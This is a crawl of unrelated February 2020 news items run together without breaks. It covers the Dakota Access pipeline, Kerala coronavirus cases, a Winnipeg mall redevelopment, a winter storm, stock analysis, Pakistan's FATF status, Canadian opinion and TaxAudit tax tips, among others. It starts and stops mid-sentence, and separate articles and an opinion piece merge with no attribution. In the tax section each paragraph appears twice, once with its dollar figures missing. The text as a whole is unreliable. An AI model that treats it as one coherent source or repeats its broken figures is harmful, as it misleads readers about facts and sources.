Energy Transfer to provide expert analysis to back up the companys assertion that doubling the lines capacity wont increase the likelihood of a spill. The $3.8 billion, 1,172-mile underground pipeline that cuts across west-central Illinois was subject to prolonged protests and hundreds of arrests during its construction in North Dakota in late 2016 and early 2017 because it crosses beneath the Missouri River, just north of the Standing Rock Sioux Reservation. The tribe draws its water from the river and fears pollution. Energy Transfer insisted the pipeline would be safe, and said the expansion would be, too. The pipeline has been moving North Dakota oil through South Dakota and Iowa to a shipping point in Illinois since June 2017. Since some of the land in North Dakota falls outside of the pipeline corridor, permission was needed from the commission to build the pump station. Opponents argued the commission should have considered effects all along the line and not solely at the pump station location. Todays decision demonstrates little to no consideration to possible impacts of a spill or leak from the expanded pipeline, the tribe said in a statement after the vote. Tim Purdon, an attorney for the Standing Rock Sioux, said before Wednesdays vote that the tribe would review its legal options if the commission approved the project. Commissioners agreed with Energy Transfers argument that they could consider a permit application only for the pump site. Commissioners said the state would not impose conditions beyond those required by the federal government, which has jurisdiction on the pipeline. The company said in court filings that its pump station would produce only minimal adverse effects on the environment and the citizens of North Dakota. The company has said it hoped to start construction this spring, and finish within 10 months. Something I said at a hearing 30 years ago about putting a parking lot where an historic structure stood holds true today. Progress is when you end up with something better than what you already have. A parking lot is not an improvement over an historic structure that could be renovated and repurposed. The advent of five-story buildings downtown is due to land cost limitations. It is what drove New Yorks Manhattan to reach for the skies. Los Angeles is sprawl with far fewer high rises, it spreads out for miles in three directions. In the future, some structures may need to come down for something new to take their place. We need to ensure that the new is more valuable to the community than the old. Here are todays top news, analysis and opinion curated for you. Know all about the latest news and other news updates from Hindustan Times. Shiv Sena seeks Amar Jawan Jyoti like memorial for martyrs of Ram Mandir movement The Shiv Sena has proposed building a memorial for the brave martyrs who died for the cause of Ram Mandir on the banks of Sarayu River in Ayodhya. In the party mouth piece, the Saamana, Shiv Sena suggested the memorial can be built along the lines of Delhis Amar Jawan Jyoti, that is a constant reminder of the bravery of our soldiers, the party said. Read More India hitting US very hard on trade, will talk business with PM Modi: Trump India has been hitting the US very hard on trade with high tariffs for many years, Donald Trump complained ahead of his first visit to the country during which the President said he will talk business with Prime Minister Narendra Modi to promote American products. Read More Why did Naveen Patnaik government pass the OBC Bill in a hurry | Opinion The alacrity with which the ruling Biju Janata Dal got the Odisha State Backward Classes (Amendment) Bill passed in the state assembly early this week enabling the Backward Class Commission survey of the social and economic conditions of the backward classes in the State surely took opposition parties by surprise. Read More Shubh Mangal Zyada Saavdhan movie review: Ayushmann Khurrana jabs at homophobia in delightful film Ayushmann Khurrana stars in an important film that talks about an important subject conveyed in the simplest manner without sounding preachy at any given point. Read the HT review of the movie. Read More How did debutant Kyle Jamieson get Pujara, Kohli & Vihari? Mayank Agarwal explains Mayank Agarwal explained the reasons behind debutant Kylde Jamiesons success on Day 1 of the first Test match between India and New Zealand at Wellington. I thought he (Jamieson) bowled exceedingly well. He hit good areas and he got good bounce. The way he used the new ball was fantastic and he kept testing us bowling in the right areas, Agarwal said. Read More Sara Ali Khan is giving us travel style goals in monochrome beachwear Actor Sara Ali Khan in her latest Instagram post shared images of her beach looks in Goa giving us travel style goals for the next beachy getaway. Read More Amazon India is selling Google Pixel 4, 4XL: Heres how much you have to pay If one would visit the Amazon India website or the app and search for Pixel 4, the search result includes Pixel 4 and Pixel 4 XL smartphones priced between 70,999 and 80,000. The pricing is not consistent though. Read More WESTPORT Police and school officials dominated the top 10 spots on the list of highest paid town employees of 2019, according to recently released data from town hall and the school districts central office. The top paid employee of the Westport police department was Cpl. Howard Simpson, who topped the list with gross wages of $271,308. This included a base salary of $91,366, $96,476 in overtime and $83,456 taken home for outside duty work. Outside duty is paid for by groups such as construction vendors, faith organizations or utility companies who need security assistance, unlike overtime pay which comes from the towns budget. Ukraine imports almost 11.7 bcm of gas from Europe in 2019 12:20, 21.02.20 860 Since late November 2015, the country has not been purchasing natural gas from Russia's Gazprom. A woman medico who was India's first novel coronavirus patient was discharged from the Government Medical College hospital in Thrissur, according to official sources as per a PTI report. The decision to do so was made by the Medical Board, and this was after doctors examined the results of her samples that did not test positive for a second time. She now must undergo 14 more days of being quarantined at home. The discharge means all three cases of infection in India reported from Kerala have recovered. Two other students - one from Alappuzha and another Kasaragod - had been discharged recently after they too tested negative for the virus in fresh tests days after being infected by it. The woman, India's first coronavirus patient had been undergoing treatment in the isolation ward of the Medical College Hospital in Thrissur since her return from Wuhan in China last month. All the three Keralites had earlier tested positive for the coronavirus on their return from Wuhan, the epicentre of the deadly outbreak that has left over 2,000 people dead in China, triggering a scare in the state. "The health condition of the third patient at Thrissur Medical College Hospital is satisfactory. The second consecutive test result of the blood sample of the student, sent to the National Institute of Virology in Pune, has returned negative," Health Minister KK Shailaja had said in a release on Wednesday. The health department has said a total of 2,242 people are under observation across the state, out of which, eight are in isolation wards of various hospitals and other under home quarantine. The student admitted to the isolation ward of Alappuzha Medical College was discharged on February 6 while the patient from Kasargod sent home five days later. Earlier, after the three students tested positive, the government had declared the coronavirus as a state calamity, but withdrew it after effective quarantine and no fresh cases being reported. The new owners of Portage Place and the Assembly of Manitoba Chiefs will meet about plans for a community hub as part of the redevelopment of the downtown mall; and other community groups hope they can be part of the community consultations, too. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. The new owners of Portage Place and the Assembly of Manitoba Chiefs will meet about plans for a community hub as part of the redevelopment of the downtown mall; and other community groups hope they can be part of the community consultations, too. Starlight Developments, a division of Toronto-based Starlight Investments, a commercial real estate investment and asset management company, announced on Thursday it plans to create a 10,000-square-foot community hub, which it has dubbed P3Commons. The company says the space would be open to the public 24 hours a day and include public washrooms. Advocates for the homeless have long called for such a space in the city. MIKE DEAL / WINNIPEG FREE PRESS FILES The front doors to Portage Place Shopping Centre. In a statement, assembly Grand Chief Arlen Dumas said he has met with Starlight "several times" and is discussing how AMC and the community can participate meaningfully in using the space. "This would be an ideal opportunity to accommodate the EAGLE Urban Transition Centre to provide a culturally appropriate environment for First Nations people who are transitioning to Winnipeg from remote areas in Manitoba," Dumas said. "The assembly would like to be part of the discussions and to be involved directly. "We encourage Starlight to seriously consider moving our transition centre program into a larger and more centralized downtown space and to partner with other urban organizations to address the needs of our citizens." Kate Kehler, executive director of the Social Planning Council of Winnipeg, said she likes what she has heard so far, and she hopes Starlight consults with other members of the community. "We will obviously express support for the concept because we need downtown areas which help people who are marginalized and turned away from buildings," Kehler said. "But we've been talking to each other and we've been finding no one has been consulted. The AMC is involved, and that's good, but we need all of the stakeholders to be included. The downtown is also a hub for newcomers. We work hard to bring these communities together. "It needs to be a meeting space for all communities." Last year, the former owners of the mall and the three levels of government sold the Portage Place building, land, and the underground parkade to Starlight for $70 million. The company has said it wants to build two 20-storey towers on each end of the mall the structure was originally designed to accommodate them as well as a pedestrian corridor to replace the Edmonton court. RUTH BONNEVILLE / WINNIPEG FREE PRESS AMC Grand Chief, Arlen Dumas says he has met with Starlight "several times" and is discussing how AMC and the community can participate meaningfully in using the planned space. Kate Fenske, the Downtown Winnipeg BIZ's chief executive officer, said the 24-hour accessible space with washrooms is "really exciting news. "That addresses a need for downtown," she said. "It is definitely showing they want to be part of this community. "It is a significant size and it would meet a need. Our pop-up toilet, we haven't been able to operate it 24/7 or in winter so this will be for anyone that needs to go. It's still early, but I'm very hopeful." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. In a statement, Glen Hirsh, Starlight's chief operating officer, said the company is "extremely proud and excited to be working collaboratively with myriad Winnipeggers to re-envision the Portage Place Mall site. "It has been made clear to us, through extensive stakeholder consultations, that an inclusive, complete community must include a place that ensures all constituents of the current mall will continue to benefit from the site's future plans." Marni Larkins, a Starlight spokeswoman, said: "We are grateful to all those wanting to play a part to ensuring our vision of an inclusive complete community comes to fruition." kevin.rollason@freepress.mb.ca Advertisement Coastal North Carolina and Virginia were hit by rare wintry conditions on Thursday after Winter Storm Nash dropped three to four inches of snow. This was the first time that more than one inch of snow had fallen in North Carolina since 2018 with up to six inches predicted. Weather advisories were in place on Thursday night into Friday morning affecting 13 million people as school districts closed and transportation officials warned that freezing conditions could cause black ice. It has been one of the wettest Februaries and winters on record in parts of the south. SCROLL DOWN FOR VIDEO Jessica Russo walks through falling snow in downtown Greensboro in North Carolina as 13 million people are affected by the rare wintry conditions for the state. Winter Storm Nash brought more snowfall to the state than it had seen since 2018 Rare snowfall across coastal North Carolina and Virginia leaves dangerous conditions on roads on Friday morning Snowfall began in Tennessee on Thursday before moving across to North Carolina and Virginia on Thursday evening Snow moved across the south on Thursday bringing rare snowfall to North Carolina and Virginia which continued into Friday Places like Virginia Beach on the coast of Virginia rarely get snow but Winter Storm Nash hit Thursday bringing 3-4 inches Storm Nash brought the first one-inch-plus snowfall to North Carolina since December 2018, with Raleigh measuring 2.5 inches. School closures were announced on Friday after dozens of early in-person voting sites were forced to close across North Carolina's 100 counties on Thursday evening. Many voting sites were expected to have limited hours or to be closed on Friday, according to the State Board of Elections. Early voting for the March 3 primary ends February 29. Governor Roy Cooper said on Thursday that parts of northeastern North Carolina will see the most precipitation in the state, with as much as 3-6 inches. He issued a warning that, 'Whiteout conditions are possible along the coast due to heavy snow and gusty winds.' The National Weather Service in Virginia reported snowfall of three to four inches on Thursday night in Suffolk and Emporia Wake Forest University graduate students Jacob Oster and Sara Walenceus take a photo in the snow in North Carolina A motorist navigates slippery conditions as snow falls in Mebane, North Carolina on Thursday as snow began A cyclist seems unfazed as he rides wearing shorts while snow falls on Wilmington Street in downtown Raleigh, North Carolina on Thursday afternoon. Hazardous travel conditions will continue into Friday as snow begins to stop falling 'The state is getting ready, and everyone else should too,' Cooper said Thursday, adding that 'it's going to get colder and this winter storm will affect most parts of North Carolina'. The National Weather Service in Raleigh said that much of the snowfall stopped over Thursday night but that hazardous conditions continued with ice on untreated surfaces. In Virginia, the National Weather Service reported that snow was sticking in places like Suffolk near the coast. According to weather.com, five inches of snow was reported in Franklin, Virginia. The weather service said in tweets that much of southeast Virginia looks 'like a winter wonderland,' but also cautioned that driving could be dangerous due to 'black ice'. Traffic along Interstate 40 just west of Raleigh, North Carolina slows to a crawl as a wintry mix falls Thursday afternoon Snow falls on McCorkle Place on the campus of UNC-Chapel Hill in North Carolina on Thursday as temperatures dropped Megan Johnson throws a disc around a tree at Horizons Park in Rural Hall, North Carolina, as rain turned to snow on Thursday The National Weather Service in Wakefield, Virginia, tweeted that the state was transformed into a 'winter wonderland' Rain is expected to ease up in the south through the weekend after heavy downpours mixed with arctic air to cause snow 'Snow and ice buildup on area roadways, especially any untreated secondary roadways, will lead to hazardous travel conditions through the morning hours,' the service said in a statement Friday morning. 'Try to delay departure if possible,and if you must travel, allow for extra time to arrive at your destination and increase your following distance from the car in front of you. All spots that appear to be wet may actually be ice. Conditions should improve by mid to late morning. 'It added that snow would taper off through Friday morning but most areas would have seen the last of the snowfall on Thursday night.' On Thursday evening, the highest snowfall in the state was registered in Emporia and Suffolk where roughly three to four inches had fallen. Farther west, more rain fell across central Mississippi on Thursday where the Pearl River has already reached record levels and flooded homes. Flooding closed several highways with more flood warnings across the south currently affecting ten million people. As the rain moved east on Thursday, it clashed with cold arctic air switching to snow as it spread across parts of parts of Tennessee, South Carolina, North Carolina and Virginia. The cold air is part of an arctic air mass which is currently engulfing much of the eastern half of the continental United States. Snowfall and rain will clear to drier conditions on Friday as the south takes a break from one of its wettest Februaries Clear skies and dry weather will continue on Saturday as temperatures begin to rise into the fifties More rain will begin to make its way across the south again on Sunday after an extremely wet February caused flooding Rain will move across the country into North Carolina and Virginia on Monday bring further wet weather for the south The weekend will see a break from the downpours but only until Sunday when rain will reach Mississippi and Tennessee moving through the Carolinas on Monday. On Friday in Virginia, there will be a clear skies with lows of 20 degrees Fahrenheit. Temperatures will rise slowing through the weekend to reach lows of 34 degrees Fahrenheit. Clear skies will remain until Monday afternoon until rain will start again and continue through Wednesday. North Carolina will also remain sunny through to Sunday with temperatures also slowly rising to lows of 36 degrees Fahrenheit. The full-year results for John Bean Technologies Corporation (NYSE:JBT) were released last week, making it a good time to revisit its performance. It looks like the results were a bit of a negative overall. While revenues of US$1.9b were in line with analyst predictions, statutory earnings were less than expected, missing estimates by 2.8% to hit US$4.02 per share. Earnings are an important time for investors, as they can track a company's performance, look at what top analysts are forecasting for next year, and see if there's been a change in sentiment towards the company. We thought readers would find it interesting to see analysts' latest (statutory) post-earnings forecasts for next year. View our latest analysis for John Bean Technologies NYSE:JBT Past and Future Earnings, February 21st 2020 After the latest results, the seven analysts covering John Bean Technologies are now predicting revenues of US$2.04b in 2020. If met, this would reflect a satisfactory 4.7% improvement in sales compared to the last 12 months. Statutory earnings per share are expected to surge 27% to US$5.14. Before this earnings report, analysts had been forecasting revenues of US$2.04b and earnings per share (EPS) of US$5.14 in 2020. The consensus analysts don't seem to have seen anything in these results that would have changed their view on the business, given there's been no major change to their estimates. There were no changes to revenue or earnings estimates or the price target of US$117, suggesting that the company has met expectations in its recent result. The consensus price target just an average of individual analyst targets, so - considering that the price target changed, it would be handy to see how wide the range of underlying estimates is. Currently, the most bullish analyst values John Bean Technologies at US$140 per share, while the most bearish prices it at US$96.00. Analysts definitely have varying views on the business, but the spread of estimates is not wide enough in our view to suggest that extreme outcomes could await John Bean Technologies shareholders. Story continues Another way to assess these estimates is by comparing them to past performance, and seeing whether analysts are more or less bullish relative to other companies in the market. It's pretty clear that analysts expect John Bean Technologies's revenue growth will slow down substantially, with revenues next year expected to grow 4.7%, compared to a historical growth rate of 15% over the past five years. Juxtapose this against the other companies in the market with analyst coverage, which are forecast to grow their revenues (in aggregate) 1.5% next year. So it's pretty clear that, while John Bean Technologies's revenue growth is expected to slow, it's still expected to grow faster than the market itself. The Bottom Line The most important thing to take away is that there's been no major change in sentiment, with analysts reconfirming that earnings per share are expected to continue performing in line with their prior expectations. Fortunately, analysts also reconfirmed their revenue estimates, suggesting sales are tracking in line with expectations - and our data does suggest that John Bean Technologies's revenues are expected to grow faster than the wider market. There was no real change to the consensus price target, suggesting that the intrinsic value of the business has not undergone any major changes with the latest estimates. With that in mind, we wouldn't be too quick to come to a conclusion on John Bean Technologies. Long-term earnings power is much more important than next year's profits. We have forecasts for John Bean Technologies going out to 2021, and you can see them free on our platform here. You can also view our analysis of John Bean Technologies's balance sheet, and whether we think John Bean Technologies is carrying too much debt, for free on our platform here. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. KENT, Wash., Feb. 21, 2020 /PRNewswire/ -- Today, Western Governors University (WGU) announced it will offer $125,000 in scholarship funds to students who will be displaced by the closure of Concordia University-Portland in Spring of 2020. WGU is committed to making higher education accessible and these funds will enable the thousands of displaced students to transfer with greater ease and continue towards graduating with respected, in-demand credentials. The nonprofit, online university will launch the WGU Finish Strong Scholarship, a new scholarship specifically for Concordia students. The university will award as many as 50 scholarships, valued up to $2,500 each, totaling $125,000. Each award will be applied to any of WGU's bachelor's and master's degree programs in business, teaching, nursing, and IT. WGU's tuition is already low about $7,000 per year for most programs and the Finish Strong Scholarship will enable more students to graduate and minimize their financial commitments. In addition to its low tuition, WGU provides a highly personalized student experience. To assist individuals transferring from Concordia, WGU has established a dedicated team of enrollment counselors. Enrollment Counselors work with prospective students by answering questions, discussing prior academic background, and helping determine if WGU is a good fit considering the student's educational goals. Students can contact that dedicated team via this link. "WGU's student-focused model is unique and should be an excellent option for a number of those students impacted by the closure," said WGU Regional Vice President Tonya Drake. "I understand the disappointment they must feel right now, but I hope they stay on course and continue working toward their dream of a university degree." Founded to increase access to high-quality education and designed to provide personalized learning experiences, WGU now serves more than 121,000 students nationwide including nearly 2,200 in Oregon. Furthermore, the university has awarded degrees to 173,000 graduates in all 50 states including nearly 3,000 in Oregon. WGU is accredited by the Northwest Commission on Colleges and Universities (NWCCU), the same regional accreditation body of Concordia University. It also offers a generous transfer policy for credits earned at Concordia and allows students to start at the beginning of each month eliminating the need to wait until fall to start classes. About WGU Established in 1997 by 19 U.S. governors with a mission to expand access to high-quality, affordable higher education, online, nonprofit WGU now serves more than 121,000 students nationwide and has more than 173,000 graduates in all 50 states. Driving innovation as the nation's leading competency-based university, WGU has been recognized by the White House, state leaders, employers, and students as a model that works in postsecondary education. In just 22 years, the university has become a leading influence in changing the lives of individuals and families, and preparing the workforce needed in today's rapidly evolving economy. WGU is accredited by the Northwest Commission on Colleges and Universities, has been named one of Fast Company's Most Innovative Companies, and has been featured on NPR, NBC Nightly News, CNN, and in The New York Times. Learn more at www.wgu.edu. Follow WGU Washington: https://www.facebook.com/wguwashington/ https://www.linkedin.com/school/western-governors-university/ https://twitter.com/wguwashington https://www.youtube.com/user/WGUWashington Contact for media inquiries: Contact for enrollment information: Jake Riddell Public Relations Manager 877.214.7004 (206) 512-0025 www.wgu.edu SOURCE WGU Washington Related Links http://www.wgu.edu Andrew "Drew" Abruzzese in the window of Pineville Tavern's Philadelphia location in 2018. It closed in early 2019. Read more A Bucks County restaurateur is accused of using a BB gun to shoot up two houses in the dead of night earlier this month. Andrew P. Abruzzese, 36, of Newtown, who with his father, Andrew, operates the popular Pineville Tavern in Buckingham Township and who briefly operated a Philadelphia branch of the restaurant, was charged Feb. 18 with discharging a firearm into an occupied structure, recklessly endangering another person, and criminal mischief. We are confident this is out of character and he is 100% innocent, the suspects father said, declining to comment further. Court records also show that Drew (as he is known) Abruzzese entered, but had not completed, a pre-trial rehab program related to charges of driving under the influence filed in Warwick Township in October 2018. Abruzzese also was charged in July 2019 in Bensalem with retail theft for allegedly switching price tags; his trial is set for March 6. In the most recent matter, Abruzzese is due to appear in court on March 23. A criminal complaint signed by the Solebury and Upper Makefield Police Departments alleges that late on the evening of Feb. 3, a house in Upper Makefield was shot at by the driver of a silver Audi, according to the homeowners surveillance video. One adult and two children were inside. Nearly two hours later, the report said, a possible Audi type vehicle pulled into a cul de sac in Solebury, where two adults and two children were inside. Video surveillance showed the driver firing several shots at the house, driving a short distance, and firing again. The house and a car in the driveway had significant damage, the report said. Police said the homeowners told them that they had a falling out with Abruzzese, and that he drove an Audi. Abruzzese did not return a text message seeking comment. Richard R. Fink, a lawyer who had represented Abruzzese in the previous legal matters, said he could not comment. The defendants father bought the Pineville in 1989 and turned it into a Central Bucks destination. It was featured in 2011 on Guy Fieris show Diners, Drive-Ins and Dives for its snapper soup. Article has been updated to add a quote from the suspects father. Pakistan will continue to be on the Financial Action Task Force (FATF) greylist for not doing enough to curb financing terror on its soil. Pakistan will continue to be on the Financial Action Task Force (FATF) greylist for not doing enough to curb financing terror on its soil. This comes despite Pakistans cosmetic measures to show that it was acting to crackdown on terror financing with the arrest and sentencing of Jamaat-ud-Dawa chief Hafiz Saeed, the founder of the Lashkar-e-Toiba, for financing terror especially after he was declared a global terrorist by the UN. A PTI report said the FATF warned Pakistan that the anti-terror watchdog will take stern measures against it if Islamabad didnt put an end to the flow of funds to terror groups like the Lashkar and the Jaish-e-Mohammad. Pakistan, which has been in dire straits, will not be able to access funds or aid from global financial institutions like the World Bank and the IMF, putting it in a more precarious situation. The FATF had met in Paris for its group meetings between February 16 and 21 and the announcement came at the end of the meetings. The FATF has set another deadline of June 2020 for Pakistan to comply with 27 points and didnt move the country to its blacklist. Reports said as of now, Islamabad had just met 13 points. At the previous FATF session, Pakistan had just met 5 of the 27 points, giving hope that Islamabad will move ahead crossing key asks of the list. This movement in accomplishing more asks is seen as Pakistans continued engagement with FATF showing the commitment of its politicians. In June 2018, the FATF put Pakistan in its grey list and had to comply with the 27 points by October 2019. To escape the grey list, Pakistan needed 12 of a total 39 votes but requires only 3 to escape the blacklist. Iran and North Korea are on the blacklist. India has been working diplomatically for the last 20 months to isolate Pakistan for its continued funding of terror ops on its soil. For all the latest World News, download NewsX App The line that rang hollow to me in Justin Trudeaus address to the House on Tuesday about the rail blockades was, The place for these debates is here in this House. Thats a highly discouraging thought. Anyone who has sat through a question period surely emerged knowing that wherever important decisions get made in Canada, its not in Parliament. Where else could the debate occur? Tony Penikett, leader of the Yukon government from 1988-93, helped settle large-scale Indigenous land claims there. The results contrasted massively with the snails pace elsewhere. He says solutions in the north happen because Indigenous and settler groups know each other and can work out agreements. That doesnt apply in the rest of Canada. Northern demographics and history are unique. But the north too was highly colonized. Their degree of success at least rings a note of hope. And solutions can happen in Ottawa if theres a sense of urgency. When this same government panicked over SNC-Lavalins legal peril for foreign bribery, they swiftly devised and passed a complex solution. Then, when Jody Wilson-Raybould Wilson threatened to torpedo it, they ditched her, fast. They renegotiated NAFTA with impressive speed when Trump warned hed can it. Indigenous land claims are tough issues but so were those. And electoral reform wouldve been ridiculously simple but they didnt deem it urgent. I cant resist thinking, for comic relief, of a lighter crisis in Ontario: Doug Fords license plate catastrophe. He changed their colour to blue, a Tory tint, since, his incompetent minister, Lisa Thompson, said, the previous plates were Liberal white. (Huh?) But the blue ones are hard to read or photograph at night. Everyones verklempt including the police. First, Doug said there was no problem, then he blamed the plate maker, 3M. But the point is, it got action. Doug spoke twice, personally, with 3Ms president because public safety is the top priority for him. The redoubtable minister said, sounding like Justin, we are listening and working with manufacturers, stakeholders and the public through this process (very like Justin). The company pledged to address the readability issue. Even NDP opposition leader Andrea Horwath lowered her invisibility shield to denounce the disaster but stopped short of offering her own solution, sticking Doug with that. I find this story endearingly Canadian and reassuring, though Im not sure why. We bumble along, but in our own way. Canadian culture does exist. Whos afraid of socialism? The death ray for Bernie Sanders chances was supposed to be his self-avowed (weird but ubiquitous descriptor) socialism. Its murky though. A majority in the U.S. say theyre not socialists but may prefer Bernie to other candidates. When its between socialism and capitalism, socialism tends to lose. But Bernie isnt very socialist and the U.S. isnt very capitalist. He rightly says the U.S. owning class uses government relentlessly to impose their own interests; he calls it socialism for the rich and people seem to get that. There may be a time lag here allowing people to hold contradictory views. Its one of those contradictions that dont really matter since its based on semantic vagueness, not real-world differences. If it helps: I talked to some students recently about how they receive their music. I said if I like something, I still have an urge to download it though I get everything through streaming now. I asked if they want to own music they like. Someone responded, It depends what you mean by own. Wham. I thought I knew. But the very meaning of ownership is changing for the young. They share and rent. Owning isnt only out of reach (houses, cars) but in cases like music, nonsensical. Bernie somehow benefits from this shift. OTOH, we dont know where it will settle. Saskatchewan had North Americas first socialist government, the CCF (now NDP) in the 1930s. Farmers there voted socialist but balked at having their farms socialized. At this weeks U.S. debate, Bloomberg accused Bernie of communism and Bernie called it a cheap shot. Hes a socialist like Denmark is socialist, which has a monarchy! Long live Queen Margarethe II. Viva el socialismo democratico! BAKU, Azerbaijan, Feb. 21 By Elchin Mehdiyev - Trend: Azerbaijan, as an exporter of energy resources, has become an important player in ensuring Europes energy security, Azerbaijani MP Sona Aliyeva told Trend Feb. 21. The country plays a key role for Italy from this point of view as well, Aliyeva noted. The Azerbaijani MP added that Azerbaijani gas will be delivered to Italy via the Trans Adriatic Pipeline (TAP). Along with Azerbaijans great importance for Italy in this context, in particular, big investment companies of this country are showing increased interest in Azerbaijans economy, Aliyeva noted. A bilateral agreement on cooperation between Azerbaijan and the European Union has been developed, said the MP. In this regard, Azerbaijan has established relations and signed agreements with nine EU countries. The visit of the head of state as a whole will give a tangible impetus to the development of relations between Azerbaijan and Europe. Aliyeva emphasized that Italy invariably supports Azerbaijans territorial integrity, adding that during the meeting of the presidents of both countries, the head of the Italian state expressed interest in the early settlement of the Armenia-Azerbaijan Nagorno-Karabakh conflict by peaceful means. It is extremely gratifying to hear such words from the head of state that is currently chairing OSCE, said the Azerbaijani MP. I hope that during its chairmanship in the organization, Italy will make every effort to resolve the Nagorno-Karabakh conflict within Azerbaijans territorial integrity. Undoubtedly, the documents on strategic partnership signed between Italy and Azerbaijan outlined future cooperation between the two countries, Aliyeva added. The presence of such a strategic partner as Italy in the very heart of Europe undoubtedly increases Azerbaijans influence in Western Europe. Source: Xinhua| 2020-02-21 14:05:22|Editor: huaxia Video Player Close BISHKEK, Feb. 21 (Xinhua) -- A solemn oath-taking ceremony of the Kyrgyz government's new members was held on Thursday in the country's parliament with the presence of President Sooronbai Jeenbekov, said the authorities. According to parliament's press service, the three new members -- two Vice Prime Ministers Erkin Asrandiev and Akram Madumarov, and Emergencies Minister Zamirbek Askarov -- took oath before the people, the president and parliament members. Asrandiev headed the Russian-Kyrgyz Development Fund before his appointment, and replaced Askarov as the vice prime minister for the economic bloc. The later has been appointed as the minister of emergencies. Madumarov will be responsible for security issues and resolving border issues with neighboring countries. He previously held the post of governor of the southern Batken Oblast, a region bordering Tajikistan. The Kyrgyz government consists of 21 members, including the prime minister, four vice prime ministers, 12 ministers and four chairmen of state committees. ALBANY SUNY Empire State College has allied with the University of New York in Prague to create a study abroad and "virtual" student exchange program between the two schools. Starting in the spring of 2021, SUNY Empire students will be able to study abroad in Prague for up to two years with SUNY Empire faculty. The program would also be open to other SUNY students. And starting in January of 2021, SUNY Empire students will also be able to take a two-week culture residency in Prague as well. A virtual student exchange program will also take place this fall using online technologies to allow students from both SUNY Empire and the University of New York in Prague to interact with each other. FOLSOM, Calif., Feb. 20, 2020 /PRNewswire/ -- TaxAudit, the largest audit defense service in the country, today released its annual list of tips taxpayers should know for the 2020 tax filing season to minimize their tax burden and avoid owing back taxes along with survey results that reveal continued confusion about tax laws. As Americans face the second tax year since most of the changes of the Tax Cuts and Jobs Act (TCJA) went into effect, taxpayers have additional new rules to understand, including retroactively extended tax deductions, a raise in the standard deduction, a larger refundable amount of the Earned Income Tax Credit, higher limits for Roth IRAs, a credit amount increase for adoption, and more. "Despite the Tax Cuts and Jobs Act going into effect in the 2018 tax year, there are still numerous changes that are being implemented each year. 2020 brings new changes to deductions, credits, and limits which taxpayers should be aware of to minimize their tax burden and avoid tax debt," said Dave Du Val, TaxAudit's Customer Advocacy Officer. A survey conducted by TaxAudit this month of over 1,000 taxpayers revealed that there's still plenty of confusion surrounding TCJA. Nearly half of taxpayers (45%) stated they are still confused about filing their taxes under TCJA. The majority of taxpayers (56%) are unsure whether TCJA has made it easier or harder for them to do their taxes while almost a quarter (23%) believe that it has made it harder. Almost half of taxpayers (45%) are unsure whether TCJA is better than the old tax law, though 25% disagree that it's better. When asked what part of filing taxes they find most confusing, taxpayers ranked understanding tax credits, deductions, and whether or not to itemize as the highest. Nearly three-quarters (73%) of taxpayers are unaware of recent bills that have been enacted since TCJA including the Further Consolidated Appropriations Act in 2020, the SECURE Act in 2020, the Taxpayer First Act of 2019, and the Bipartisan Budget Act of 2018. "This survey shows how confused taxpayers still are about the newer tax laws, and it's imperative to understand how this year's changes could impact returns," continued Du Val. "Taxpayers should work closely with their tax professional to ensure their taxes are correct. No one should have to pay more than they have to or join the 30 million taxpayers who already owe back taxes to the IRS." TaxAudit's list of some of the changes for 2019 tax returns include: The standard deduction has been raised. The standard deduction for single taxpayers and those married filing separately is $12,200 for 2019 tax returns. For married taxpayers filing jointly, it has been raised to $24,400 and for heads of households, the new deduction is $18,350 . The new amounts for the 2020 tax year will be $12,400 , $24,800 , and $18,650 . The standard deduction for single taxpayers and those married filing separately is for 2019 tax returns. For married taxpayers filing jointly, it has been raised to and for heads of households, the new deduction is . The new amounts for the 2020 tax year will be , , and . New thresholds for contributing to traditional IRA and health savings accounts. This year's IRA base contribution is $6,000 and the "catch-up" is $1,000 , again for those 50 and older. Health savings accounts (HSA) contribution limits have also increased for both self-only coverage and family coverage. The deadline to make contributions for the 2019 tax year is April 15th, 2020 . This year's IRA base contribution is and the "catch-up" is , again for those 50 and older. Health savings accounts (HSA) contribution limits have also increased for both self-only coverage and family coverage. The deadline to make contributions for the 2019 tax year is . Higher limits for contributions to Roth IRAs. For 2019, single taxpayers with incomes below $122,000 and joint filers with incomes below $193,000 can contribute up to $6,000 , or $7,000 for those over 50, directly to a Roth IRA. The deadline for the 2019 tax year is April 15th, 2020 . This income limit and deadline does not affect 401(K) Roth accounts. For 2019, single taxpayers with incomes below and joint filers with incomes below can contribute up to , or for those over 50, directly to a Roth IRA. The deadline for the 2019 tax year is . This income limit and deadline does not affect 401(K) Roth accounts. Earned Income Credit has a larger refundable amount for tax years 2019 and 2020. The tax year 2019 maximum Earned Income Credit for lower income families will have a higher maximum amount of credit available at $6,557 for qualifying taxpayers who have three or more qualifying children. For 2020, the maximum credit amount will be $6,660 . The tax year 2019 maximum Earned Income Credit for lower income families will have a higher maximum amount of credit available at for qualifying taxpayers who have three or more qualifying children. For 2020, the maximum credit amount will be . Higher income thresholds for Child Tax Credit. The income limitation has been raised to above $200,000 for a single person and $400,000 for joint filers. The credit per child under 17 years of age is now up to $2,000 of which $1,400 is a refundable credit. Even if your child turns 17 or you have other dependents, this is a $500 Other Dependent Credit. The income limitation has been raised to above for a single person and for joint filers. The credit per child under 17 years of age is now up to of which is a refundable credit. Even if your child turns 17 or you have other dependents, this is a Other Dependent Credit. Credits and deductions extended retroactively to 2018. New legislation signed by the president late in December 2019 retroactively extended several popular tax breaks to 2018, such as the deductions for tuition and fees and mortgage insurance premiums. There are also changes to the following tax rules which should be explored with your tax professional if applicable: Higher limits for qualified transportation fringe benefits. Higher credit amount for adoptions. For U.S. taxpayers working abroad there is a higher exclusion amount. Please note: This is only a short list of some of the tax changes in 2020. Please spend time learning about the rules at IRS.gov so you are knowledgeable about qualifying deductions, exemptions, and more that may help to reduce your tax burden. About TaxAudit As the exclusive provider of TurboTax audit defense, TaxAudit is the largest audit defense service in the country for tax paying individuals and small businesses. With over 11 million members, TaxAudit handles more audits than any other firm. TaxAudit offers audit representation in regard to both 